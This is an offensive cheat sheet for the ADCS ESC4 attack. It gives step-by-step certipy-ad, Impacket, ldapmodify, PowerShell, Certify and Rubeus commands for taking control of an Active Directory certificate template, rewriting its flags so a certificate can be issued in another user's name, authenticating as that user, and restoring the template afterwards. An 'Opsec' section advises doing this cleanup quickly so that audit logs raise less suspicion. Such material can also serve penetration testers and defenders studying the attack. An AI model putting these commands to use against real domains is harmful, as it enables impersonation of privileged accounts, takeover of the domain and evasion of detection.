ADCSESC4

ESC4: Write permissions on a certificate template β€” modify template attributes (EKU, SAN flag, approval requirements) to create ESC1-exploitable conditions, then enroll.

Applies to: Principals with WriteProperty/WriteDacl/WriteOwner/GenericAll/GenericWrite on a CertTemplate object β†’ Enterprise CA


Linux Abuse

certipy-ad (fastest path β€” auto-modify to ESC1)

# Step 1: Find writable templates
certipy-ad find -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> -vulnerable -stdout

# Step 2: Save original config and overwrite template to ESC1-abusable state
certipy-ad template -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
  -template '<template>' -save-old
# Creates <template>.json with original config

# Step 3: Request cert with arbitrary UPN (now ESC1)
certipy-ad req -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
  -ca '<ca>' -target <ca-host> -template '<template>' \
  -upn <target-user>@<domain>

# Step 4: Authenticate
certipy-ad auth -pfx <target-user>.pfx -dc-ip <dc-ip>

# Step 5: Restore original template config (CRITICAL β€” cleanup)
certipy-ad template -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
  -template '<template>' -configuration <template>.json

Manual via Impacket (if WriteOwner/WriteDacl only)

# If WriteOwner: take ownership first
owneredit.py -action write -new-owner '<username>' \
  -target-dn 'CN=<template>,CN=Certificate Templates,CN=Public Key Services,CN=Services,<config-nc>' \
  '<domain>/<username>:<password>'

# Grant FullControl to self
dacledit.py -action write -rights FullControl -principal '<username>' \
  -target-dn 'CN=<template>,CN=Certificate Templates,CN=Public Key Services,CN=Services,<config-nc>' \
  '<domain>/<username>:<password>'

# Enable CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (SAN flag = 1)
echo -e "dn: CN=<template>,CN=Certificate Templates,CN=Public Key Services,CN=Services,<config-nc>\nchangetype: modify\nreplace: msPKI-Certificate-Name-Flag\nmsPKI-Certificate-Name-Flag: 1" \
  | ldapmodify -x -D '<attacker-dn>' -w '<password>' -h <dc-ip>

# Set Client Authentication EKU
echo -e "dn: CN=<template>,...\nchangetype: modify\nreplace: msPKI-Certificate-Application-Policy\nmsPKI-Certificate-Application-Policy: 1.3.6.1.5.5.7.3.2" \
  | ldapmodify -x -D '<attacker-dn>' -w '<password>' -h <dc-ip>

# Disable manager approval (Enrollment-Flag = 0)
echo -e "dn: CN=<template>,...\nchangetype: modify\nreplace: msPKI-Enrollment-Flag\nmsPKI-Enrollment-Flag: 0" \
  | ldapmodify -x -D '<attacker-dn>' -w '<password>' -h <dc-ip>

# Disable RA signature requirement
echo -e "dn: CN=<template>,...\nchangetype: modify\nreplace: msPKI-RA-Signature\nmsPKI-RA-Signature: 0" \
  | ldapmodify -x -D '<attacker-dn>' -w '<password>' -h <dc-ip>

# Now proceed as ESC1
certipy-ad req -u <username>@<domain> -p '<password>' -dc-ip <dc-ip> \
  -ca '<ca>' -target <ca-host> -template '<template>' \
  -upn <target-user>@<domain>

certipy-ad auth -pfx <target-user>.pfx -dc-ip <dc-ip>

Windows Abuse

PowerShell + Certify.exe + Rubeus

# Step 1: Take ownership (if WriteOwner)
$templateName = "<template>"
$principalName = "<username>"
$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")
$template = [ADSI]"LDAP://CN=$templateName,CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"
$acl = $template.psbase.ObjectSecurity
$account = New-Object System.Security.Principal.NTAccount($principalName)
$acl.SetOwner($account)
$template.psbase.CommitChanges()

# Step 2: Grant GenericAll to self
$sid = $account.Translate([System.Security.Principal.SecurityIdentifier])
$ace = New-Object DirectoryServices.ActiveDirectoryAccessRule(
  $sid,
  [System.DirectoryServices.ActiveDirectoryRights]::GenericAll,
  [System.Security.AccessControl.AccessControlType]::Allow
)
$acl.AddAccessRule($ace)
$template.psbase.CommitChanges()

# Step 3: Enable SAN flag (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)
$template.Properties["msPKI-Certificate-Name-Flag"].Value = `
  $template.Properties["msPKI-Certificate-Name-Flag"].Value -bxor 0x00000001
$template.CommitChanges()

# Step 4: Disable manager approval
$template.Properties["msPKI-Enrollment-Flag"].Value = `
  $template.Properties["msPKI-Enrollment-Flag"].Value -band (-bnot 0x00000002)
$template.CommitChanges()
# Step 5: Enroll with SAN (ESC1 path)
Certify.exe request /ca:<ca-host>\<ca> /template:<template> /upn:<target-user>@<domain>

# Step 6: TGT
Rubeus.exe asktgt /user:<target-user> /domain:<domain> /certificate:<pfx-base64> /password:<pfx-password> /ptt
# Step 7: Cleanup β€” restore original flags
$template.Properties["msPKI-Certificate-Name-Flag"].Value = <original-value>
$template.CommitChanges()

Opsec

  • Template modifications are logged in AD (Directory Service Changes audit) β€” restore original config immediately after exploitation.
  • certipy-ad template -save-old is the safest approach for automated restore.
  • Issued certs remain in CA's store even after template is restored.